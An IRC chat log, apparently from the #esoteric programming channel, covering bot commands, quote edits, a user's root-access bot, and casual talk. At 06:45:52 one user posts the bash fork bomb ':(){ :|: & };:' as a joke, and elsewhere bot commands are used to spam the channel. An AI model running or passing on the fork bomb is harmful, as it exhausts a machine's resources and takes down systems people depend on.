01:39:28 <moon_> im asking to improve it :P
01:40:11 <shachaf> Takes up too much vertical space.
01:40:15 <moon_> ok
01:40:24 <moon_> how many chars would fit on a line?
01:40:29 <moon_> so i can trim it
01:40:31 <int-e> It causes secondary noise as well.
01:40:40 <moon_> user noise?
01:41:16 <shachaf> By vertical space I mean the number of lines it produces, and the number of lines it causes in other ways.
01:41:29 <moon_> it trims out all newlines
01:42:38 -!- Lord_of_Life has joined.
01:42:59 <moon_> is Lord_of_Life new?
01:43:53 <int-e> no
01:45:12 <moon_> and how are the other lines made shachaf?
01:45:25 <shachaf> People talking to it.
01:45:50 <moon_> hackego gains the same problem >_>
01:46:53 <moon_> well
01:47:25 <moon_> hackego _and_ havocbot both are interactive
01:47:59 -!- MoALTz has joined.
01:48:11 <moon_> hi
01:49:52 <HackEgo> [wiki] [[Cryptoleq]] https://esolangs.org/w/index.php?diff=47192&oldid=47042 * 75.161.81.91 * (-17) Removed the third-level heading at the top of the page
02:01:02 <prooftechnique> HackEgo is also familiar and a known quantity. havocbot is a root session with network access
02:01:59 <prooftechnique> i.e., most people aren't testing HackEgo's limits
02:04:58 <moon_> ah
02:05:09 <moon_> maybe once thats done it might be safer?
02:06:07 <moon_> anyways, proof, there's a bin folder on the path now
02:06:13 <prooftechnique> Oh, good
02:07:00 <moon_> and your cded into the drive /s
02:07:04 <moon_> which contains the bin folder
02:07:06 <moon_> and a swap
02:07:10 <moon_> a 1g swap
02:09:03 <moon_> someone put 'nasaldemons' in the bin folder -.-
02:13:04 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:16:22 -!- lynn has joined.
02:16:33 -!- lynn has quit (Changing host).
02:16:33 -!- lynn has joined.
02:16:33 -!- lynn has quit (Changing host).
02:16:33 -!- lynn has joined.
02:16:43 <shachaf> lynn: hellynn
02:20:07 <moon_> Nasaldemons have proven the perfect path addon testsubject
02:20:15 -!- Lord_of_Life has quit (Ping timeout: 264 seconds).
02:26:00 -!- augur has joined.
02:28:07 <oerjan> <moon__> someone kick havocbot <-- fwiw kicking it will only remove it from this channel, so the nickname will still be occupied.
02:30:03 <oerjan> to actually be able to force it to quit from inside irc, it needs to be registered, which means you need a password which might be a little tricky to keep where no one can see it.
02:31:17 <oerjan> well when it's locked up but not quitting by itself, that is.
02:32:07 <moon_> i ment just to get it out of this channel
02:32:11 <moon_> its nt locked up
02:32:41 <moon_> `url bin/mk
02:32:52 <oerjan> well it was unresponsive, i assume.
02:32:58 <moon_> im porting them
02:32:58 <oerjan> but it pinged out anyway.
02:32:58 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
02:32:59 <moon_> no
02:33:00 <moon_> it wasnt
02:34:00 <oerjan> okay
02:40:16 <oerjan> `? moon_
02:40:23 <HackEgo> moon_ ? ¯\(°​_o)/¯
02:40:28 <oerjan> `? moon
02:40:30 <HackEgo> Moon is a person, not an unretroreflectorey object.
02:40:34 <oerjan> `? moon__
02:40:36 <HackEgo> moon__? ¯\(°​_o)/¯
02:41:08 <oerjan> `sled wisdom/moon//s/a/a murderous/
02:41:13 <HackEgo> wisdom/moon//Moon is a murderous person, not an unretroreflectorey object.
02:41:26 * oerjan logreading
02:42:48 <moon_> Really?
02:43:01 <moon_> very funny
02:43:30 <oerjan> the evidence is all there in the logs hth
02:43:41 <moon_> how so?
02:43:48 <moon_> what'd i do?
02:44:07 <oerjan> <moon__> or i will still flay you alive
02:44:15 <oerjan> just the last one i've seen so far
02:44:15 <moon_> ah :P
02:44:39 <moon_> i HAVE flayed prooftechnique for crashing havoc once
02:46:03 <prooftechnique> I remain unflayed
02:46:03 <oerjan> shocking
02:46:14 <prooftechnique> And it was only me that first time
02:46:19 <prooftechnique> And that was before the flaying
02:46:27 <prooftechnique> or threats thereof
02:46:47 <moon_> however i have killall bash 'd havoc for updates
02:46:55 <moon_> and modifications
02:47:17 <prooftechnique> You know you only have to source .bash_profile right? You don't have to kill the whole bash process, in general
02:47:24 <prooftechnique> *, right?
02:47:40 <moon_> im a bash failure, idk
02:48:02 <moon_> anyways
02:48:08 <moon_> i gave havocbot mk
02:48:13 <moon_> for convenience
02:48:20 <moon_> its the perfect allround tool :P
02:49:56 <quintopia> helloerjan
02:50:51 <quintopia> do you know ant 'wegians whove never been to the canary islands?
02:54:17 <oerjan> do i count?
02:55:32 <quintopia> yes
02:55:43 <oerjan> mind you, my aunt lives there much of the year.
02:56:46 <moon_> i know ants who havent been to america
02:56:50 <quintopia> fair nuff
02:56:51 <moon_> there in the uk
02:57:13 <moon_> just wait, ants will make minicars soon enough
02:57:26 <moon_> ++++ Out of cheese error ++++
02:57:46 * oerjan is reminded by Simak's "City"
02:58:23 <moon_> thats from Terry Pratchet's science of diskworld, dummy
02:58:45 <oerjan> oh those ants
02:58:58 <oerjan> well both kinds were intelligent, i believe.
02:59:41 <moon_> i ment the out of cheese error
02:59:56 <moon_> well, ants too
03:01:16 <moon_> ++++ Anyways ++++
03:01:35 * oerjan somehow stopped reading pratchett at some point, but peeked enough at science of discworld to assume that's a Hex error message.
03:02:21 <oerjan> `thanks ants
03:02:27 <HackEgo> Thanks, ants. Thants.
03:02:32 -!- hppavilion[1] has joined.
03:02:57 <moon_> hppa!
03:03:26 <moon_> havocbot is in stable condition
03:03:33 <moon_> as far as i know at least
03:03:59 <ais523> oerjan: moon_: I thought HEX only used /three/ + signs
03:04:06 <ais523> maybe I'm wrong though
03:04:07 <moon_> Your right
03:04:10 <moon_> Well
03:04:10 <moon_> idk
03:04:14 <moon_> its hard to remember
03:04:18 <moon_> ill consult the book
03:05:14 <moon_> its funny how the Out of cheese error turned up in realworld system
03:06:23 <hppavilion[1]> `quote matrix of solidity
03:06:24 <HackEgo> 240) <treederwright> enjoy being locked in your matrix of solidity
03:06:26 <moon_> its +++
03:06:34 <hppavilion[1]> I think that might be a reference to https://en.wikipedia.org/wiki/Matrix_isolation?
03:06:36 <moon_> `quote out of cheese error
03:06:37 <HackEgo> No output.
03:06:42 <moon_> )=
03:06:52 <hppavilion[1]> `quote moon_
03:06:53 <HackEgo> No output.
03:07:03 <hppavilion[1]> moon_: BTW, could you choose a consistent nick and stick to it/
03:07:04 <hppavilion[1]> *?
03:07:06 <moon_> `quoteadd +++ Out of cheese error +++
03:07:07 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quoteadd: not found
03:07:08 <moon_> i try
03:07:22 <moon_> `addquote +++ Out of cheese error +++
03:07:25 <HackEgo> 1280) +++ Out of cheese error +++
03:07:34 <hppavilion[1]> moon_: Also, when your time out and reconnect and thus have a different nick, try to remember to change back to your main nick when it disconnects
03:07:52 <moon_> Ah, sorry
03:07:55 <hppavilion[1]> Has anybody properly implemented blerp yet?
03:10:42 <hppavilion[1]> ^prefixes
03:10:42 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , j-bot [ .
03:10:56 -!- Destructible has joined.
03:11:02 <Destructible> hi
03:11:55 <Destructible> anybody?
03:12:12 <ais523> hi
03:12:15 <ais523> `welcome Destructible
03:12:18 <HackEgo> Destructible: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
03:12:35 -!- bender has joined.
03:12:56 <Destructible> hi
03:13:07 <hppavilion[1]> ais523: Destructible has been here before hth
03:13:19 <Destructible> yes
03:13:26 <ais523> hppavilion[1]: right
03:13:52 <ais523> hmm, I keep being surprised at people turning up at 2am UTC and wondering why nobody is around (in many channels, not just this one)
03:14:31 <pikhq> It's only 19:14 in America/Los_Angeles.
03:14:45 <hppavilion[1]> pikhq: It's 18:14 here with the cool kids
03:15:18 <pikhq> In Alaska?
03:15:27 <hppavilion[1]> pikhq: ...maybe
03:15:29 <hppavilion[1]> * suspicious
03:16:56 <ais523> pikhq: however, I find the UK small hours tend to be a particularly quiet time online for some reason
03:17:04 <ais523> it may be that it's too late in the UK and too early in the US
03:18:03 <moon_> ^
03:18:51 <oerjan> <hppavilion[1]> I think that might be a reference to https://en.wikipedia.org/wiki/Matrix_isolation? <-- almost certainly not.
03:19:45 <ais523> ofc, it's also possible that my interests are correlated with those of British people (seeing as I'm British), and thus I'm seeing an atypical nationality balance
03:20:36 <oerjan> `delquote 1280
03:20:41 <HackEgo> ​*poof* +++ Out of cheese error +++
03:21:05 <oerjan> `? quoteformat
03:21:07 <HackEgo> quoteformat is: <nick> message; * nick action; two spaces between messages; all elisions marked with [...] other than irrelevant intervening messages; for messages separated by elision, one space on each side, not two.
03:23:04 <moon_> oh hi Destructible,
03:23:10 <moon_> *.
03:24:54 <oerjan> mind you, i would probably have deleted it even if it were correctly formatted.
03:25:17 -!- Phantom_Hoover has joined.
03:25:22 <moon_> hia phantom
03:25:38 <moon_> `url bin
03:25:44 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin
03:28:08 -!- Lord_of_Life has joined.
03:29:46 <ais523> oerjan: how do spaces work around an elision if you elided only a few words from a message? `? quoteformat doesn't say
03:33:03 <oerjan> hm tricky
03:34:20 <oerjan> i'm not sure you're supposed to do that.
03:37:30 <shachaf> Why would that elision be treated differently?
03:38:27 <oerjan> `` quote django | tail -n 1
03:38:31 <HackEgo> 1233) <elliott> `addquote <olsner> boily: thanks for getting quoted saying django btw, now I'm only in 87.5% of the django quotes [...] <olsner> ah, the inevitable result of mentioning django
03:39:36 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
03:40:46 <shachaf> `1 quote djagon
03:40:51 <HackEgo> 1/0:
03:40:51 <shachaf> `1 quote django
03:40:55 <HackEgo> 1/6:260) <olsner> django is named after a person? <olsner> thought it would be a giraffe or something \ 305) <cpressey> `quote django <HackEgo> ​352) <olsner> django is named after a person? <olsner> thought it would be a giraffe or something <cpressey> thankfully only one \ 306) <monqy> `quote django <HackEgo> ​352) <olsne
03:42:41 <moon_> shachaf, would adding a timer to havoc's I/O help?
03:42:51 <shachaf> Help what?
03:42:57 <moon_> with the noise
03:43:05 <moon_> actually
03:43:09 <shachaf> The reason it's noise is that I don't care about it.
03:43:16 <moon_> only one way to find ou- ...
03:43:31 <moon_> others like it :P
03:43:50 <moon_> so generally it has a purpose
03:44:42 <shachaf> Do they?
03:46:11 <moon_> Yea, others use the bot on there own
03:46:25 <moon_> why i said like idk
03:48:04 <moon_> is there any point at all to the linux 'yes' command?
03:48:10 <moon_> all it does is spam y
03:48:28 <moon_> or its input
03:48:47 <moon_> `yes
03:48:50 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
03:48:57 <moon_> like that
03:49:16 <moon_> `yes but it certainly gives a message
03:49:17 <HackEgo> but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \ but it certainly gives a message \
03:49:25 <prooftechnique> :/
03:49:37 <prooftechnique> It's mainly for scripting
03:49:37 <moon_> i dont get the point
03:49:40 <moon_> oh
03:49:54 <prooftechnique> Like "answer yes everytime is asks"
03:49:58 <moon_> a better name would be 'spam'
03:50:13 <prooftechnique> It's not normally run in an IRC channel
03:51:03 <moon_> im running it on my end
03:52:24 -!- Destructible has quit (Quit: Page closed).
04:03:01 <zzo38> Why does my computer support only one colormap?
04:03:44 <oerjan> because it's meta-racist
04:04:05 <moon_> i wonder if that deserves a quote
04:04:56 <moon_> `addquote <zzo38> Why does my computer support only one colormap? <oerjan> because it's meta-racist
04:05:00 <HackEgo> 1280) <zzo38> Why does my computer support only one colormap? <oerjan> because it's meta-racist
04:05:00 <moon_> i put two spaces
04:05:28 <oerjan> yay!
04:06:12 <moon_> next up: reach quote 9001 (yes i am alking about a old joke)
04:06:38 -!- Lord_of_Life has joined.
04:06:41 <moon_> Hi
04:11:19 <moon_> `head -c 1M </dev/urandom #Scream with me!
04:11:20 <HackEgo> head: 1M </dev/urandom #Scream with me!: invalid number of bytes
04:11:29 <moon_> `head -c 10000 </dev/urandom #Scream with me!
04:11:29 <HackEgo> head: 10000 </dev/urandom #Scream with me!: invalid number of bytes
04:11:35 <moon_> `head -c </dev/urandom #Scream with me!
04:11:36 <HackEgo> head: </dev/urandom #Scream with me!: invalid number of bytes
04:11:45 <moon_> `cat /dev/urandom #Scream with me!
04:11:46 <HackEgo> cat: /dev/urandom #Scream with me!: No such file or directory
04:11:50 <moon_> `cat /dev/urandom
04:11:51 <HackEgo> ​§ô|?µf.æÙ÷8"H¸(ŸvëÚ¾‚[¤#-?†#Þb*ÔÑY¸žÂXðžÍö|ªJLÏ@b ›õbíô†­Á"œõZ­‘VBhó|¾òc“nyh— \ d€W͞F.>ú1Û;'ãd.î׋~,2Ÿ-¨5_éq”àŸ“)Ì#Y˜ÄÚ:ɳÉÌAìtÍz5áîìÛôYÖc)=£WZmÐáru§ÀJÑTlëÜT^X4}?Ñƈ"O…eA‚5MEùU,:ÿ9‘˜»b̗أbΙFæBõŒ“=¬_£ \ 6ëp·q]nR–iÀŠ
04:12:00 -!- Lord_of_Life has quit (Ping timeout: 260 seconds).
04:14:16 <moon_> ok back to my game of factorio
04:15:18 <quintopia> oh
04:24:22 -!- moon_ has quit (Ping timeout: 250 seconds).
04:26:00 -!- Phantom_Hoover has quit (Remote host closed the connection).
04:27:08 -!- Lord_of_Life has joined.
04:31:42 <izabera> any terminal expert here?
04:31:54 <izabera> stty setaf <number> produces \e[3<number>m
04:31:59 <izabera> which seems correct
04:32:14 <izabera> but on sun-term on solaris in virtualbox i can't see anything beyond the first 8 colors
04:32:34 <izabera> oh wait i can't see red
04:32:50 <izabera> no red works
04:33:29 <izabera> but bright red messes shit up
04:35:38 <izabera> bah there's something funny going on
04:51:30 <zzo38> High-end computers should be able to support more than one colormap.
04:52:20 <zzo38> It already has OpenGL and that stuff but not more than one colormap.
04:56:00 <zzo38> I am not so sure that I should even need OpenGL?
05:02:52 <zzo38> I am writing a compiler to target Z-machine codes in JavaScript. I already wrote many parts of it and hopefully would be good when it is finish. I hope you like this? (It uses an assembly language code to write the code; you cannot compile a JavaScript code or C code or ZIL code or anything like that. But, extensions to the program could add the support for others too.)
05:05:05 <zzo38> You can then try to invent the esoteric programming language to compile into a Z-machine code too, possibly the existing one or the not exist one
05:05:42 <quintopia> i'm so confused
05:05:47 <quintopia> it compiles what to what now?
05:06:21 <zzo38> Am I too confusing?
05:07:34 <quintopia> just... not completely clear
05:08:05 <quintopia> you're writing a compiler in js that compiles to z-machine?
05:08:12 <zzo38> Yes.
05:08:15 <quintopia> what does it compile from?
05:09:01 <zzo38> Its own format which uses assembly language for writing the instructions in a function, but the rest of the file is in a different format.
05:09:59 <zzo38> Hopefully that is now understandable better?
05:11:43 <quintopia> so you expect that others will write an assembler to turn other languages into this format?
05:12:49 <zzo38> Maybe; I don't know.
05:13:09 <zzo38> Possibly it can help if you want to compile a program written in BASIC into a Z-machine code.
05:33:33 -!- Kaynato has quit (Ping timeout: 240 seconds).
05:47:49 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
05:48:14 -!- Destructible has joined.
05:48:20 <Destructible> :)
05:48:23 <Destructible> HOI
05:49:02 <Destructible> :(
05:53:00 <shachaf> `smlist 440
05:53:02 <HackEgo> smlist 440: shachaf monqy elliott mnoqy
05:53:07 <shachaf> `smlist 441
05:53:08 <HackEgo> smlist 441: shachaf monqy elliott mnoqy
05:53:13 <shachaf> `smlist 442
05:53:14 <HackEgo> smlist 442: shachaf monqy elliott mnoqy
05:57:58 -!- Destructible has quit (Ping timeout: 250 seconds).
06:07:43 -!- ais523 has quit (Read error: Connection reset by peer).
06:07:52 <oerjan> `? peer
06:07:55 <HackEgo> peer? ¯\(°​_o)/¯
06:10:07 <oerjan> `learn peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections.
06:10:14 <HackEgo> Learned 'peer': peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections.
06:10:43 <shachaf> HackEgo: Didn't he review some of Ørjan's publications?
06:10:48 <shachaf> s/HackEgo/oerjan/
06:11:15 <shachaf> I bet that's why you don't like him.
06:11:24 <shachaf> Also what's with the capitalization?
06:11:32 <shachaf> I mean, not that I care. But I thought you had standards.
06:12:08 -!- ais523 has joined.
06:12:22 <shachaf> Or is it required because his name is written in lowercase in the IRC message?
06:12:26 -!- ais523 has quit (Client Quit).
06:12:59 <oerjan> shachaf: yep that was my thinking
06:13:09 <shachaf> I used to think that Peer Gynt was a composer.
06:13:23 <oerjan> no, that's Edvard Grieg hth
06:13:28 <shachaf> Yes.
06:13:45 <shachaf> it was an egriegious error
06:14:46 <shachaf> Apparently Peer isn't actually a troll, either.
06:14:46 <oerjan> although https://www.youtube.com/watch?v=P01EqXn7mik
06:15:05 <oerjan> shachaf: well he had a troll education
06:15:13 <oerjan> see link
06:15:39 <shachaf> I can't listen to audio right now.
06:15:46 <shachaf> Is the link just the well-known piece?
06:15:50 -!- xkapastel has quit (Quit: Connection closed for inactivity).
06:15:58 <shachaf> Just the picture?
06:17:16 <oerjan> yes.
06:17:19 <shachaf> I guess Peer Gynt and Per Martin-Löf have related names?
06:17:27 <oerjan> well duh
06:17:42 <oerjan> cognate to Peter
06:20:24 <shachaf> `le/rn per martin-löf/"per Martin-Löf" is a common citation lazy logicians use when they don't want to prove their theorems. It rarely gets past peer review.
06:20:27 <HackEgo> Learned «per martin-löf»
06:21:26 <shachaf> oerjan: Peter and The Wolf are another famous couple of composers, I suppose.
06:22:07 <shachaf> although, whoa whoa whoa, peter and the wolf is from 1936?
06:43:51 -!- Destructible has joined.
06:44:21 <Destructible> hello?
06:44:45 <Destructible> :(
06:44:56 <Destructible> anybody?
06:45:04 <Destructible> ::
06:45:29 <Destructible> :( | ):
06:45:52 <Cale> :(){ :|: & };:
06:46:06 <prooftechnique> Hello
06:46:25 <prooftechnique> `relcome
06:46:33 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
06:47:20 <Destructible> `rainwords why
06:47:38 <Destructible> oh
06:47:43 <Destructible> anyway
06:47:47 <Destructible> I found a thing
06:47:51 <HackEgo> No output.
06:48:04 <prooftechnique> What thing is that?
06:48:07 <oerjan> `cat bin/rainwords
06:48:08 <HackEgo> ​#!/usr/bin/python \ import random; w=[l.split() for l in open("/dev/stdin").read().split("\n")]; r=[4,7,8,9,2,6,13]; print "\n".join((lambda s: " ".join(chr(3) + "%02d"%r[(i+s)%len(r)] + l[i] for i in range(len(l))))(random.randrange(0, len(r))) for l in w)
06:48:15 <oerjan> oh it's python
06:48:42 <Destructible> so, could you have a look at this thing please. it's multiplayer, if it could be considered playing
06:48:43 <oerjan> `rainbow why
06:48:46 -!- b_jonas has quit (Read error: Connection reset by peer).
06:48:57 <oerjan> gah
06:49:02 <Destructible> genetic cars 2: multiplayer
06:49:06 <oerjan> `cat bin/rainbow
06:49:08 <HackEgo> ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p)
06:49:14 <HackEgo> No output.
06:49:22 <Destructible> I'm interested in it, but it doesn't seem to have people on it
06:51:26 <Destructible> could you please have look at it or something
06:52:43 <Destructible> are you still there, or am I entirely uninteresting?
06:52:52 <prooftechnique> Oh, I remember a game like that
06:53:27 <Destructible> yeah, except multiplayer. and in-"game" chat
06:53:41 <oerjan> Destructible: i'm not really interested, but to be honest i find this pushy way of asking quickly _reduces_ my interest even if i have one.
06:53:49 <Destructible> ok
06:54:00 <Destructible> I understand
06:54:17 <prooftechnique> Also the lack of link makes it sort of hard to know which version of the concept you're talking about
06:55:47 <Destructible> do you want a link?
06:56:13 <prooftechnique> That would be helpful
06:56:35 <Destructible> http://gencar.co/
06:58:07 <Destructible> still there, or are you looking at it?
06:58:41 <Destructible> It truncated my name to destructib
06:58:48 <Destructible> >:|
06:58:57 <prooftechnique> I'm looking at it. Are you selling this or something?
07:00:31 <Destructible> no
07:00:49 <Destructible> I just want to see stuff, and make use of the multiplayer thing
07:01:17 <prooftechnique> I'm in world 54
07:01:24 <prooftechnique> PubNub-World-54
07:01:27 <Destructible> same
07:01:36 <Destructible> In the original, on my world
07:01:47 <Destructible> there was this really hard obstacle
07:01:51 <Destructible> nothing got past it
07:02:03 <Destructible> there was just this
07:02:07 <Destructible> fence
07:02:08 <prooftechnique> I don't understand how multiplayer enters into this
07:02:21 <Destructible> it shares the top cars with players
07:02:32 <prooftechnique> This looks just like the regular genetic cars, and the chat doesn't seem to do anything
07:02:48 <Destructible> yeah
07:02:50 <Destructible> I guess
07:02:58 <Destructible> I just wanted to see if it was cool
07:03:02 <Destructible> I guess not
07:03:04 <Destructible> :/
07:03:23 <Destructible> ssorry
07:03:23 <prooftechnique> I mean, it's neat, but it's not exactly a participatory activity
07:03:52 <Destructible> ok
07:04:12 <Destructible> brb
07:05:47 <Destructible> back
07:17:39 <Destructible> ...
07:17:41 <Destructible> silence
07:17:53 <prooftechnique> Many people are asleep
07:17:54 <shachaf> No, noise.
07:18:01 <prooftechnique> There are other active channels
07:20:31 -!- Destructible has quit (Quit: Page closed).
07:31:03 -!- PinealGlandOptic has quit (Ping timeout: 240 seconds).
07:31:18 -!- lambda-11235 has quit (Quit: Bye).
07:37:57 -!- hppavilion[1] has joined.
07:38:18 -!- Frooxius has joined.
07:55:12 <hppavilion[1]> `blerp
07:55:14 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: blerp: not found
07:55:17 <hppavilion[1]> -_-
07:55:23 <hppavilion[1]> Seriously, someone get on that
08:15:57 <FreeFull> Write a bot that helps me decide on a good starting spot in Dwarf Fortress
08:17:54 <izabera> which starting spots are there?
08:18:54 <hppavilion[1]> FreeFull: We can put that in the -n flag
08:42:42 <hppavilion[1]> Huh, I didn't know Norway had walri
08:46:01 <shachaf> walruses are american
08:46:05 <shachaf> they invented wal-mart
08:46:13 <hppavilion[1]> shachaf: BLASPHEMY
08:46:25 <shachaf> `? peer
08:46:27 <hppavilion[1]> shachaf: Walri would never contribute to something so obscenely evil
08:46:28 <HackEgo> peer gynt is a famous norwegian troll. nowadays he amuses himself by resetting people's irc connections.
08:46:44 <hppavilion[1]> I thought it was Pierce?
08:46:47 <hppavilion[1]> `? pierce
08:46:48 <HackEgo> pierce? ¯\(°​_o)/¯
08:46:56 <shachaf> `? peirce
08:46:58 <HackEgo> peirce? ¯\(°​_o)/¯
08:47:03 <hppavilion[1]> As in, "Connection reset by Pierce"
08:47:11 <hppavilion[1]> But that works too
08:47:33 <hppavilion[1]> "Connection deset by peer"
08:48:16 <hppavilion[1]> "Connection preset by peer"
08:52:08 <hppavilion[1]> "Connection beset by peer"
08:52:38 <hppavilion[1]> "Connection emeset by peer"
08:52:48 <hppavilion[1]> "Connection exset by peer"
08:54:11 <hppavilion[1]> "Connection poset by pper"
08:54:49 <hppavilion[1]> "Connection rheset by peer"
08:57:53 -!- hppavilion[1] has quit (Quit: Peer is now sick of stupid greek/latin root jokes).
08:59:13 -!- hppavilion[1] has joined.
09:02:07 -!- augur has quit (Remote host closed the connection).
09:24:43 -!- Frooxius has quit (Quit: *bubbles away*).
09:41:46 -!- PinealGlandOptic has joined.
10:03:16 -!- oerjan has quit (Quit: Nite).
10:16:45 <hppavilion[1]> *sign*
10:17:26 <hppavilion[1]> |n
10:25:47 <HackEgo> [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47193&oldid=47166 * Sesshomariu * (+33) /* Examples */
10:29:26 -!- bender has quit (Ping timeout: 250 seconds).
10:41:34 -!- bender has joined.
10:44:11 -!- gniourf has quit (Remote host closed the connection).
10:59:40 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
11:42:14 -!- Phantom_Hoover has joined.
12:05:15 -!- bender has quit (Ping timeout: 264 seconds).
12:11:36 -!- bender has joined.
12:36:29 -!- gamemanj has joined.
14:01:05 -!- boily has joined.
14:20:56 -!- PinealGlandOptic has quit (Quit: leaving).
14:24:14 -!- Kaynato has joined.
14:24:33 <boily> `wisdom
14:24:48 <HackEgo> godot//cf. elliott
14:25:08 <int-e> waiting for... the punchline
14:25:16 -!- Destructible has joined.
14:26:25 <qrf> int-e haha
14:26:25 <Destructible> hi?
14:26:28 <qrf> It took me ages to get it
14:28:01 <Destructible> I don't get it. e is a number that is not an integer?
14:32:48 <qrf> int-e is a user in this channel
14:33:39 <boily> Dellostructible, int-ello.
14:33:53 <boily> qrf sadly is unporthelloable... what should it be?
14:34:19 -!- Destructible has quit (Quit: Page closed).
14:35:02 <qrf> I'm not following
14:35:19 <boily> `? porthello
14:35:20 <HackEgo> porthello? ¯\(°​_o)/¯
14:35:23 <boily> darn.
14:35:45 <boily> qrf: a porthello is a portmanteau of your name and some form of greeting mashed into it.
14:42:54 -!- lambda-11235 has joined.
15:03:44 <Taneb> qrfello
15:06:08 <qrf> Salaam
15:11:41 <gamemanj> boily: bolly good well!
15:11:51 <gamemanj> ...or something.
15:12:22 <gamemanj> (Figuring out a good way of making "jolly good well" mix with boily is left as an exercise to the reader.)
15:12:31 <quintopia> helloily
15:12:38 <quintopia> its saturday!
15:12:52 <gamemanj> I'm sure it's Sunday somewhere.
15:12:58 <gamemanj> But hopefully not Monday.
15:13:22 <quintopia> sure, but here in quintoily time zone, it is saturday
15:15:31 <gamemanj> QTZ?
15:17:00 <quintopia> yes
15:18:06 -!- dnm has quit (Ping timeout: 272 seconds).
15:19:32 -!- b_jonas has joined.
15:30:32 <int-e> okay, a minute before the godot wisdom entry was created, this happened: oerjan changed the topic of #esoteric to: Waiting for elliott | [...]
15:30:57 <int-e> `rm wisdom/godot
15:31:00 <HackEgo> No output.
15:32:03 <int-e> (and that was 3 years ago, so I don't think there's any reason to keep it)
15:33:13 <quintopia> what did it say?
15:34:42 <int-e> 15:24:48 <HackEgo> godot//cf. elliott
15:35:02 <quintopia> ah
15:35:09 <quintopia> lame
16:11:23 <boily> QUINTHELLOPIA!
16:12:01 <qrf> I want to implement a shitty template language to render HTML
16:12:10 <qrf> I'm not sure how much I want to support
16:12:24 -!- boily has quit (Quit: DEREFERENCED CHICKEN).
16:12:51 <qrf> I want to use C#'s Expression API to generate bytecode when the server is booting
16:13:41 <qrf> if statements? Sure
16:13:43 <qrf> foreach loops? Yes
16:14:16 <qrf> Expressions like x || (y.f(a, b, c) & e)? Meh
16:14:39 <qrf> I'd probably have lost interest by the time I make that work
16:14:58 <qrf> I should probably aim for less than that for now
16:23:24 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47194&oldid=47191 * Qwertyu63 * (-1047)
16:41:29 -!- bender has quit (Quit: Leaving).
16:42:15 -!- augur has joined.
17:04:59 -!- lambda-11235 has quit (Ping timeout: 258 seconds).
17:05:32 -!- lambda-11235 has joined.
17:27:48 -!- moon_ has joined.
17:27:57 <moon_> hi
17:39:51 -!- lambda-11235 has quit (Ping timeout: 276 seconds).
17:43:54 -!- lambda-11235 has joined.
17:49:56 -!- moon_ has quit (Ping timeout: 250 seconds).
18:23:04 -!- moon_ has joined.
18:30:05 -!- augur has quit (Remote host closed the connection).
18:36:42 <moon_> chat's dead
18:37:00 -!- Frooxius has joined.
18:38:01 <moon_> `` echo "suixoorF em guh" | rev
18:38:03 <HackEgo> hug me Frooxius
18:39:03 <Frooxius> Hmm? O.O
18:39:52 <moon_> hackego wants a hug
18:41:36 <Frooxius> Sure it's not you who wants one and is just lightly cryptic about it?
18:42:54 <moon_> im sure, im good ._.
18:46:09 * Frooxius glares, mildly puzzled
18:53:22 -!- lambda-11235 has quit (Ping timeout: 250 seconds).
18:54:06 -!- lambda-11235 has joined.
19:01:28 <moon_> its my job to confuzzle you
19:01:36 <moon_> wait are you new? i think you might be
19:01:54 <moon_> Frooxius
19:02:43 <Frooxius> Technically not new, but mostly inactive.
19:03:44 <moon_> Ah
19:03:45 <Frooxius> Well pretty much absent here.
19:03:52 <moon_> Then you dont get my antics :P
19:04:01 <moon_> Back to working on havocbot, then
19:04:34 <Frooxius> I was thinking for a moment if you were from a different channel.
19:20:08 <moon_> also,if you want to try my bot, go to #esoteric-blah
19:23:12 <moon_> ok, bye Frooxius
19:57:32 -!- dnm has joined.
20:12:14 <izabera> https://www.youtube.com/watch?v=b-Cr0EWwaTk
20:12:43 <b_jonas> `wisdom
20:12:53 -!- xkapastel has joined.
20:12:54 <HackEgo> numbers//Numbers: 0, 848, 1344, 1696, 1969, 2192, _, 2544, 2688, 2817, _, 3040, _, _, 3313, 3392, ...
20:13:07 <myname> wat
20:14:13 <int-e> `culprits wisdom/numbers
20:14:34 <HackEgo> tswett
20:31:44 -!- lambda-11235 has quit (Ping timeout: 250 seconds).
20:43:19 -!- lambda-11235 has joined.
20:48:37 -!- Frooxius has quit (Quit: *bubbles away*).
21:24:53 -!- augur has joined.
